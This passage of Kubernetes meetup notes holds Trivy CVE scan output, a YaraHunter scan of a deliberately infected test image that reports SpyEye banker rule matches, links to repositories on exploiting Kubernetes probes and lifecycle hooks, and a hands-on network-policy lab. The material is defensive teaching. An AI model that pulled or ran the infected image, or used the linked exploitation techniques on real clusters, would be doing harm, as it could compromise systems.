      "Summary": "The file /tmp/Deepfence/YaRadare/df_xxradarubuntuinfected101/ExtractedFiles/5252eaf485b87efa424faa758810c93fa0e7f9444b4b3d368334fe6420df311d/var/lib/dpkg/info/libc6:amd64.symbols has a banker match.The matched rule file's  author  is Jean-Philippe Teissier / @Jipe_ .The file has a rule match that  SpyEye X.Y memory .The matched rule file's  date  is 2012-05-23 .The matched rule file's  version  is 1.0 .The matched rule file's  filetype  is memory ."
    }

  ]
}
```


# 28-03-2023 Belgium Kubernetes and Cloudnative Meetup

## Presentation

{% file src="/files/QITTtcGypS1s6irNsAhz" %}

## Links

* [https://www.form3.tech/engineering/content/exploiting-distroless-images](<https://www.form3.tech/engineering/content/exploiting-distroless-images&#xA;>)
* <https://falco.org/>
* <https://sysdig.com/>
* <https://www.armosec.io>
* <https://aquasecurity.github.io/trivy/v0.38/>
* <https://home.robusta.dev/>
* <https://tetragon.cilium.io/docs/>
* <https://github.com/deepfence/YaraHunter>

## Exploiting probes and life cycle mgmt

* <https://github.com/xxradar/attacking_via_kubernetes_probes>
* <https://github.com/xxradar/posthook_exploitation/>

## Tekton examples

* <https://github.com/kubiosec/tekton>

## Trivy examples

```
$ trivy image ubuntu:latest
2023-03-22T10:41:57.265Z	INFO	Vulnerability scanning is enabled
2023-03-22T10:41:57.266Z	INFO	Secret scanning is enabled
2023-03-22T10:41:57.266Z	INFO	If your scanning is slow, please try '--security-checks vuln' to disable secret scanning
2023-03-22T10:41:57.266Z	INFO	Please see also https://aquasecurity.github.io/trivy/v0.35/docs/secret/scanning/#recommendation for faster secret detection
2023-03-22T10:41:58.233Z	INFO	Detected OS: ubuntu
2023-03-22T10:41:58.233Z	INFO	Detecting Ubuntu vulnerabilities...
2023-03-22T10:41:58.236Z	INFO	Number of language-specific files: 0

ubuntu:latest (ubuntu 22.04)

Total: 12 (UNKNOWN: 0, LOW: 12, MEDIUM: 0, HIGH: 0, CRITICAL: 0)

┌──────────────┬────────────────┬──────────┬──────────────────────────┬───────────────┬─────────────────────────────────────────────────────────────┐
│   Library    │ Vulnerability  │ Severity │    Installed Version     │ Fixed Version │                            Title                            │
├──────────────┼────────────────┼──────────┼──────────────────────────┼───────────────┼─────────────────────────────────────────────────────────────┤
│ bash         │ CVE-2022-3715  │ LOW      │ 5.1-6ubuntu1             │               │ bash: a heap-buffer-overflow in valid_parameter_transform   │
│              │                │          │                          │               │ https://avd.aquasec.com/nvd/cve-2022-3715                   │
├──────────────┼────────────────┤          ├──────────────────────────┼───────────────┼─────────────────────────────────────────────────────────────┤
│ coreutils    │ CVE-2016-2781  │          │ 8.32-4.1ubuntu1          │               │ coreutils: Non-privileged session can escape to the parent  │
│              │                │          │                          │               │ session in chroot                                           │
│              │                │          │                          │               │ https://avd.aquasec.com/nvd/cve-2016-2781                   │
├──────────────┼────────────────┤          ├──────────────────────────┼───────────────┼─────────────────────────────────────────────────────────────┤
│ gpgv         │ CVE-2022-3219  │          │ 2.2.27-3ubuntu2.1        │               │ gnupg: denial of service issue (resource consumption) using │
│              │                │          │                          │               │ compressed packets                                          │
│              │                │          │                          │               │ https://avd.aquasec.com/nvd/cve-2022-3219                   │
├──────────────┼────────────────┤          ├──────────────────────────┼───────────────┼─────────────────────────────────────────────────────────────┤
│ libc-bin     │ CVE-2016-20013 │          │ 2.35-0ubuntu3.1          │               │ sha256crypt and sha512crypt through 0.6 allow attackers to  │
│              │                │          │                          │               │ cause a denial of...                                        │
│              │                │          │                          │               │ https://avd.aquasec.com/nvd/cve-2016-20013                  │
├──────────────┤                │          │                          ├───────────────┤                                                             │
│ libc6        │                │          │                          │               │                                                             │
│              │                │          │                          │               │                                                             │
│              │                │          │                          │               │                                                             │
├──────────────┼────────────────┤          ├──────────────────────────┼───────────────┼─────────────────────────────────────────────────────────────┤
│ libncurses6  │ CVE-2022-29458 │          │ 6.3-2                    │               │ ncurses: segfaulting OOB read                               │
│              │                │          │                          │               │ https://avd.aquasec.com/nvd/cve-2022-29458                  │
├──────────────┤                │          │                          ├───────────────┤                                                             │
│ libncursesw6 │                │          │                          │               │                                                             │
│              │                │          │                          │               │                                                             │
├──────────────┼────────────────┤          ├──────────────────────────┼───────────────┼─────────────────────────────────────────────────────────────┤
│ libpcre3     │ CVE-2017-11164 │          │ 2:8.39-13ubuntu0.22.04.1 │               │ pcre: OP_KETRMAX feature in the match function in           │
│              │                │          │                          │               │ pcre_exec.c                                                 │
│              │                │          │                          │               │ https://avd.aquasec.com/nvd/cve-2017-11164                  │
├──────────────┼────────────────┤          ├──────────────────────────┼───────────────┼─────────────────────────────────────────────────────────────┤
│ libssl3      │ CVE-2022-3996  │          │ 3.0.2-0ubuntu1.8         │               │ openssl: double locking leads to denial of service          │
│              │                │          │                          │               │ https://avd.aquasec.com/nvd/cve-2022-3996                   │
├──────────────┼────────────────┤          ├──────────────────────────┼───────────────┼─────────────────────────────────────────────────────────────┤
│ libtinfo6    │ CVE-2022-29458 │          │ 6.3-2                    │               │ ncurses: segfaulting OOB read                               │
│              │                │          │                          │               │ https://avd.aquasec.com/nvd/cve-2022-29458                  │
├──────────────┤                │          │                          ├───────────────┤                                                             │
│ ncurses-base │                │          │                          │               │                                                             │
│              │                │          │                          │               │                                                             │
├──────────────┤                │          │                          ├───────────────┤                                                             │
│ ncurses-bin  │                │          │                          │               │                                                             │
│              │                │          │                          │               │                                                             │
└──────────────┴────────────────┴──────────┴──────────────────────────┴───────────────┴─────────────────────────────────────────────────────────────┘
```

```
$ trivy image xxradar/ubuntu_infected:101
2023-03-22T10:35:38.998Z	INFO	Need to update DB
2023-03-22T10:35:38.999Z	INFO	DB Repository: ghcr.io/aquasecurity/trivy-db
2023-03-22T10:35:38.999Z	INFO	Downloading DB...
36.14 MiB / 36.14 MiB [-----------------------------------------------------------------------------------------------------------------------------------------------------------] 100.00% 3.91 MiB p/s 9.5s
2023-03-22T10:35:51.163Z	INFO	Vulnerability scanning is enabled
2023-03-22T10:35:51.170Z	INFO	Secret scanning is enabled
2023-03-22T10:35:51.171Z	INFO	If your scanning is slow, please try '--security-checks vuln' to disable secret scanning
2023-03-22T10:35:51.173Z	INFO	Please see also https://aquasecurity.github.io/trivy/v0.35/docs/secret/scanning/#recommendation for faster secret detection
2023-03-22T10:35:52.602Z	INFO	Detected OS: ubuntu
2023-03-22T10:35:52.603Z	INFO	Detecting Ubuntu vulnerabilities...
2023-03-22T10:35:52.618Z	INFO	Number of language-specific files: 0

xxradar/ubuntu_infected:101 (ubuntu 22.04)

Total: 12 (UNKNOWN: 0, LOW: 12, MEDIUM: 0, HIGH: 0, CRITICAL: 0)

┌──────────────┬────────────────┬──────────┬──────────────────────────┬───────────────┬─────────────────────────────────────────────────────────────┐
│   Library    │ Vulnerability  │ Severity │    Installed Version     │ Fixed Version │                            Title                            │
├──────────────┼────────────────┼──────────┼──────────────────────────┼───────────────┼─────────────────────────────────────────────────────────────┤
│ bash         │ CVE-2022-3715  │ LOW      │ 5.1-6ubuntu1             │               │ bash: a heap-buffer-overflow in valid_parameter_transform   │
│              │                │          │                          │               │ https://avd.aquasec.com/nvd/cve-2022-3715                   │
├──────────────┼────────────────┤          ├──────────────────────────┼───────────────┼─────────────────────────────────────────────────────────────┤
│ coreutils    │ CVE-2016-2781  │          │ 8.32-4.1ubuntu1          │               │ coreutils: Non-privileged session can escape to the parent  │
│              │                │          │                          │               │ session in chroot                                           │
│              │                │          │                          │               │ https://avd.aquasec.com/nvd/cve-2016-2781                   │
├──────────────┼────────────────┤          ├──────────────────────────┼───────────────┼─────────────────────────────────────────────────────────────┤
│ gpgv         │ CVE-2022-3219  │          │ 2.2.27-3ubuntu2.1        │               │ gnupg: denial of service issue (resource consumption) using │
│              │                │          │                          │               │ compressed packets                                          │
│              │                │          │                          │               │ https://avd.aquasec.com/nvd/cve-2022-3219                   │
├──────────────┼────────────────┤          ├──────────────────────────┼───────────────┼─────────────────────────────────────────────────────────────┤
│ libc-bin     │ CVE-2016-20013 │          │ 2.35-0ubuntu3.1          │               │ sha256crypt and sha512crypt through 0.6 allow attackers to  │
│              │                │          │                          │               │ cause a denial of...                                        │
│              │                │          │                          │               │ https://avd.aquasec.com/nvd/cve-2016-20013                  │
├──────────────┤                │          │                          ├───────────────┤                                                             │
│ libc6        │                │          │                          │               │                                                             │
│              │                │          │                          │               │                                                             │
│              │                │          │                          │               │                                                             │
├──────────────┼────────────────┤          ├──────────────────────────┼───────────────┼─────────────────────────────────────────────────────────────┤
│ libncurses6  │ CVE-2022-29458 │          │ 6.3-2                    │               │ ncurses: segfaulting OOB read                               │
│              │                │          │                          │               │ https://avd.aquasec.com/nvd/cve-2022-29458                  │
├──────────────┤                │          │                          ├───────────────┤                                                             │
│ libncursesw6 │                │          │                          │               │                                                             │
│              │                │          │                          │               │                                                             │
├──────────────┼────────────────┤          ├──────────────────────────┼───────────────┼─────────────────────────────────────────────────────────────┤
│ libpcre3     │ CVE-2017-11164 │          │ 2:8.39-13ubuntu0.22.04.1 │               │ pcre: OP_KETRMAX feature in the match function in           │
│              │                │          │                          │               │ pcre_exec.c                                                 │
│              │                │          │                          │               │ https://avd.aquasec.com/nvd/cve-2017-11164                  │
├──────────────┼────────────────┤          ├──────────────────────────┼───────────────┼─────────────────────────────────────────────────────────────┤
│ libssl3      │ CVE-2022-3996  │          │ 3.0.2-0ubuntu1.8         │               │ openssl: double locking leads to denial of service          │
│              │                │          │                          │               │ https://avd.aquasec.com/nvd/cve-2022-3996                   │
├──────────────┼────────────────┤          ├──────────────────────────┼───────────────┼─────────────────────────────────────────────────────────────┤
│ libtinfo6    │ CVE-2022-29458 │          │ 6.3-2                    │               │ ncurses: segfaulting OOB read                               │
│              │                │          │                          │               │ https://avd.aquasec.com/nvd/cve-2022-29458                  │
├──────────────┤                │          │                          ├───────────────┤                                                             │
│ ncurses-base │                │          │                          │               │                                                             │
│              │                │          │                          │               │                                                             │
├──────────────┤                │          │                          ├───────────────┤                                                             │
│ ncurses-bin  │                │          │                          │               │                                                             │
│              │                │          │                          │               │                                                             │
└──────────────┴────────────────┴──────────┴──────────────────────────┴───────────────┴─────────────────────────────────────────────────────────────┘
```

```
$ trivy image node:latest | grep -i TOTAL
2023-03-22T10:39:20.994Z	INFO	Vulnerability scanning is enabled
2023-03-22T10:39:20.994Z	INFO	Secret scanning is enabled
2023-03-22T10:39:20.995Z	INFO	If your scanning is slow, please try '--security-checks vuln' to disable secret scanning
2023-03-22T10:39:20.995Z	INFO	Please see also https://aquasecurity.github.io/trivy/v0.35/docs/secret/scanning/#recommendation for faster secret detection
2023-03-22T10:39:21.970Z	INFO	Detected OS: debian
2023-03-22T10:39:21.970Z	INFO	Detecting Debian vulnerabilities...
2023-03-22T10:39:22.175Z	INFO	Number of language-specific files: 1
2023-03-22T10:39:22.175Z	INFO	Detecting node-pkg vulnerabilities...
Total: 1019 (UNKNOWN: 1, LOW: 606, MEDIUM: 199, HIGH: 199, CRITICAL: 14)
```

## Malware scan using YaraHunter

```
$ docker run -it --rm --name=deepfence-yarahunter      \
     -v /var/run/docker.sock:/var/run/docker.sock      \
     -v /tmp:/home/deepfence/output      \
     deepfenceio/yara-hunter:latest \
     --image-name xxradar/ubuntu_infected:101 \
     --json-filename=xmrig-scan.json
     
     
     
copied size 384
copied size 1032336
server inside23 port {0xc000451a28 0xc00040d3c0 0xc0004518c8 0xc00040d3d0 0xc00040d3e0 0xc00040d3f0 0xc00040d400 0xc00040d410 0xc00040d420 0xc00040d430 0xc0004518d8 0xc00040d440 0xc00040d450 0xc00040d460 0xc00040d470 0xc00040d480 0xc00040d3b0 0xc0004518b8}
INFO[2023-03-25 09:42:54] trying to connect to endpoint 'unix:///var/run/docker.sock' with timeout '10s'
INFO[2023-03-25 09:42:54] connected successfully using endpoint: unix:///var/run/docker.sock
INFO[2023-03-25 09:42:54] trying to connect to endpoint 'unix:///run/containerd/containerd.sock' with timeout '10s'
WARN[2023-03-25 09:43:04] could not connect to endpoint 'unix:///run/containerd/containerd.sock': context deadline exceeded
INFO[2023-03-25 09:43:04] trying to connect to endpoint 'unix:///run/k3s/containerd/containerd.sock' with timeout '10s'
WARN[2023-03-25 09:43:14] could not connect to endpoint 'unix:///run/k3s/containerd/containerd.sock': context deadline exceeded
INFO[2023-03-25 09:43:14] container runtime detected: docker
{
  "Timestamp": "2023-03-25 09:43:21.724037583 +00:00",
  "Image Name": "xxradar/ubuntu_infected:101",
  "Image ID": "0f68bbdbb726cf17f17220e61a09ccf88ff0edfafbc97043378b6a2739352b56",
  "Malware match detected are": [
    {
      "Image Layer ID": "5252eaf485b87efa424faa758810c93fa0e7f9444b4b3d368334fe6420df311d",
      "Matched Rule Name": "spyeye_plugins",
      "Strings to match are": [
            "config.dat"
      ],
      "Category": ["banker"],
      "File Name": "/tmp/Deepfence/YaRadare/df_xxradarubuntuinfected101/ExtractedFiles/5252eaf485b87efa424faa758810c93fa0e7f9444b4b3d368334fe6420df311d/etc/debconf.conf",
      "author":"Jean-Philippe Teissier / @Jipe_ ",
      "description":"SpyEye X.Y Plugins memory ",
      "date":"2012-05-23 ",
      "version":"1.0 ",
      "filetype":"memory ",
      "Summary": "The file /tmp/Deepfence/YaRadare/df_xxradarubuntuinfected101/ExtractedFiles/5252eaf485b87efa424faa758810c93fa0e7f9444b4b3d368334fe6420df311d/etc/debconf.conf has a banker match.The matched rule file's  author  is Jean-Philippe Teissier / @Jipe_ .The file has a rule match that  SpyEye X.Y Plugins memory .The matched rule file's  date  is 2012-05-23 .The matched rule file's  version  is 1.0 .The matched rule file's  filetype  is memory ."
    }
,
    {
      "Image Layer ID": "5252eaf485b87efa424faa758810c93fa0e7f9444b4b3d368334fe6420df311d",
      "Matched Rule Name": "spyeye_plugins",
      "Strings to match are": [
            "config.dat"
      ],
      "Category": ["banker"],
      "File Name": "/tmp/Deepfence/YaRadare/df_xxradarubuntuinfected101/ExtractedFiles/5252eaf485b87efa424faa758810c93fa0e7f9444b4b3d368334fe6420df311d/usr/share/debconf/debconf.conf",
      "author":"Jean-Philippe Teissier / @Jipe_ ",
      "description":"SpyEye X.Y Plugins memory ",
      "date":"2012-05-23 ",
      "version":"1.0 ",
      "filetype":"memory ",
      "Summary": "The file /tmp/Deepfence/YaRadare/df_xxradarubuntuinfected101/ExtractedFiles/5252eaf485b87efa424faa758810c93fa0e7f9444b4b3d368334fe6420df311d/usr/share/debconf/debconf.conf has a banker match.The matched rule file's  author  is Jean-Philippe Teissier / @Jipe_ .The file has a rule match that  SpyEye X.Y Plugins memory .The matched rule file's  date  is 2012-05-23 .The matched rule file's  version  is 1.0 .The matched rule file's  filetype  is memory ."
    }
,
    {
      "Image Layer ID": "5252eaf485b87efa424faa758810c93fa0e7f9444b4b3d368334fe6420df311d",
      "Matched Rule Name": "spyeye",
      "Strings to match are": [
            "data_end"
      ],
      "Category": ["banker"],
      "File Name": "/tmp/Deepfence/YaRadare/df_xxradarubuntuinfected101/ExtractedFiles/5252eaf485b87efa424faa758810c93fa0e7f9444b4b3d368334fe6420df311d/var/lib/dpkg/info/libc6:amd64.symbols",
      "author":"Jean-Philippe Teissier / @Jipe_ ",
      "description":"SpyEye X.Y memory ",
      "date":"2012-05-23 ",
      "version":"1.0 ",
      "filetype":"memory ",
      "Summary": "The file /tmp/Deepfence/YaRadare/df_xxradarubuntuinfected101/ExtractedFiles/5252eaf485b87efa424faa758810c93fa0e7f9444b4b3d368334fe6420df311d/var/lib/dpkg/info/libc6:amd64.symbols has a banker match.The matched rule file's  author  is Jean-Philippe Teissier / @Jipe_ .The file has a rule match that  SpyEye X.Y memory .The matched rule file's  date  is 2012-05-23 .The matched rule file's  version  is 1.0 .The matched rule file's  filetype  is memory ."
    }

  ]
}
```


# 26-10-2022 Belgium Kubernetes and Cloudnative Meetup

### Kubernetes native network security policies

These labs require a K8S cluster with Cilium or Calico CNI installed.\
For a quickstart, check out:\
<https://learn.microsoft.com/en-gb/azure/aks/azure-cni-powered-by-cilium>\
For overlay mode, also complete and read <https://learn.microsoft.com/en-us/azure/aks/azure-cni-overlay>.

#### Setting up a lab environment

```
kubectl create ns prod-nginx
kubectl create ns dev-nginx
kubectl create ns myhackns
```

```
kubectl apply -f - <<EOF
apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx-deployment
  namespace: prod-nginx
  labels:
    app: nginx-deployment
spec:
  replicas: 3
  selector:
    matchLabels:
      app: nginx
  template:
    metadata:
      labels:
        app: nginx
        env: prod
    spec:
      containers:
      - name: nginx
        image: nginx
        ports:
        - containerPort: 80
EOF
```

```
kubectl apply -f - <<EOF
apiVersion: v1
kind: Service
metadata:
  name: my-nginx-clusterip
  namespace: prod-nginx
spec:
  ports:
  - port: 80
    protocol: TCP
  selector:
    app: nginx
EOF
```

#### Check connectivity

```
kubectl get po -n prod-nginx -o wide  --show-labels
...
kubectl get svc -n prod-nginx -o wide --show-labels
...
```

For the sake of simplicity, open a **second terminal**

```
POD=$(kubectl get pods -n prod-nginx  -l app=nginx -o jsonpath='{range .items[0]}{@.status.podIP}{"\n"}{end}')
```

```
kubectl run -it --rm -n prod-nginx --image xxradar/hackon --env="POD=$POD" debug
```

Inside the pod (you can keep it open, because network policies are applied on running pods)

```
nslookup my-nginx-clusterip
curl my-nginx-clusterip
curl $POD
```

### Network policies

#### Default-deny

Apply a default-deny all policy

```
kubectl apply -n prod-nginx -f - <<EOF
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny
spec:
  podSelector:
    matchLabels: {}
  policyTypes:
   - Ingress
   - Egress
EOF
```

```
kubectl get netpol -n prod-nginx
```

Check connectivity

```
kubectl run -it --rm -n prod-nginx --image xxradar/hackon --env="POD=$POD" debug
```

```
nslookup my-nginx-clusterip
...
curl my-nginx-clusterip
...
curl $POD
...
```

#### DNS egress

Fix the DNS resolving\
If required (depending on cluster initialisation) label the `kube-system` namespace

```
kubectl label ns kube-system kubernetes.io/metadata.name=kube-system
```

```
kubectl apply -n prod-nginx -f - <<EOF
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: allow-dns
spec:
  podSelector:
    matchLabels: {}
  policyTypes:
   - Egress
  egress:
  - to:
    - namespaceSelector:
        matchLabels:
          kubernetes.io/metadata.name: kube-system
      podSelector:
        matchLabels:
          k8s-app: kube-dns
EOF
```

```
kubectl get netpol -n prod-nginx
```

```
kubectl run -it --rm -n prod-nginx --image xxradar/hackon --env="POD=$POD" debug
```

```
nslookup my-nginx-clusterip
...
curl my-nginx-clusterip
...
curl $POD
...
```

#### HTTP ingress (server-side)

Enable access on port 80

```
kubectl apply -n prod-nginx -f - <<EOF
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: allow-http
spec:
  podSelector:
    matchLabels:
      app: nginx
  ingress:
  - from:
    - podSelector:
        matchLabels: {}
    ports:
    - protocol: TCP
      port: 80
EOF
```

```
kubectl get netpol -n prod-nginx
```

Check connectivity

```
kubectl run -it --rm -n prod-nginx --image xxradar/hackon --env="POD=$POD" debugnslookup my-nginx-clusterip
```

```
nslookup my-nginx-clusterip
...
curl my-nginx-clusterip
...
curl $POD
...
```

#### HTTP egress (client-side)

```
kubectl apply -n prod-nginx -f - <<EOF
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: allow-debug-egress
spec:
  podSelector:
    matchLabels:
      run: debug
  egress:
  - to:
    - podSelector:
        matchLabels: {}
EOF
```

```
kubectl get netpol -n prod-nginx
```

```
kubectl run -it --rm -n prod-nginx --image xxradar/hackon --env="POD=$POD" debug
```

```
nslookup my-nginx-clusterip
...
curl my-nginx-clusterip
...
curl $POD
...
```

#### HTTP ingress different namespace (client-side)

Connectivity form a different namespace ...

```
kubectl apply -n prod-nginx -f - <<EOF
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: allow-http
spec:
  podSelector:
    matchLabels:
      app: nginx
  ingress:
  - from:
    - podSelector:
        matchLabels: {}
    ports:
    - protocol: TCP
      port: 80
  - from:
    - namespaceSelector:
        matchLabels:
          project: debug
      podSelector:
        matchLabels:
          mode: debug
    ports:
    - protocol: TCP
      port: 80
EOF
```

or

```
kubectl apply -n prod-nginx -f - <<EOF
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: allow-http-other-namespace
spec:
  podSelector:
    matchLabels:
      app: nginx
  ingress:
  - from:
    - namespaceSelector:
        matchLabels:
          project: debug
      podSelector:
        matchLabels:
          mode: debug
    ports:
    - protocol: TCP
      port: 80
EOF
```

```
kubectl get netpol -n prod-nginx
```

```
kubectl label ns myhackns project=debug
```

```
kubectl run -it --rm  -n myhackns --image xxradar/hackon -l mode=debug debug
```

```
nslookup my-nginx-clusterip.prod-nginx
...
curl my-nginx-clusterip.prod-nginx
...
```

#### Additional examples

```
kubectl run -it --rm  -n myhackns --image xxradar/hackon -l mode=nodebug debug
curl my-nginx-clusterip.prod-nginx
...
```

```
kubectl run -it --rm  -n dev-nginx --image xxradar/hackon -l mode=debug debug
curl my-nginx-clusterip.prod-nginx
...
```

Fix access from `dev-nginx` namespace

```
kubectl label ns dev-nginx project=debug
```

```
kubectl run -it --rm  -n dev-nginx --image xxradar/hackon -l mode=debug debug
```

```
curl my-nginx-clusterip.prod-nginx
...
```

### Advanced: Cilium cluster wide network policy example

```
kubectl apply -f - <<EOF
apiVersion: "cilium.io/v2"
kind: CiliumClusterwideNetworkPolicy
metadata:
  name: "quarantine"
spec:
  endpointSelector:
    matchLabels:
      quarantine: "true"
  egressDeny:
  - toEntities:
    - "world"
EOF
```

```
kubectl run -it --rm -n myhackns --image xxradar/hackon --env="POD=$POD" debug
```

```
nslookup www.radarhack.com
...
curl https://www.radarhack.com
...
```

In an other terminal

```
kubectl label po/debug -n myhackns  quarantine=true 
```

Retun to the pod

```
curl https://www.radarhack.com
...
curl https://www.radarhack.com
...
```

### Cleanup

```
kubectl delete ns prod-nginx
kubectl delete ns dev-nginx
kubectl delete ns myhackns
kubectl delete CiliumClusterwideNetworkPolicy quarantine
```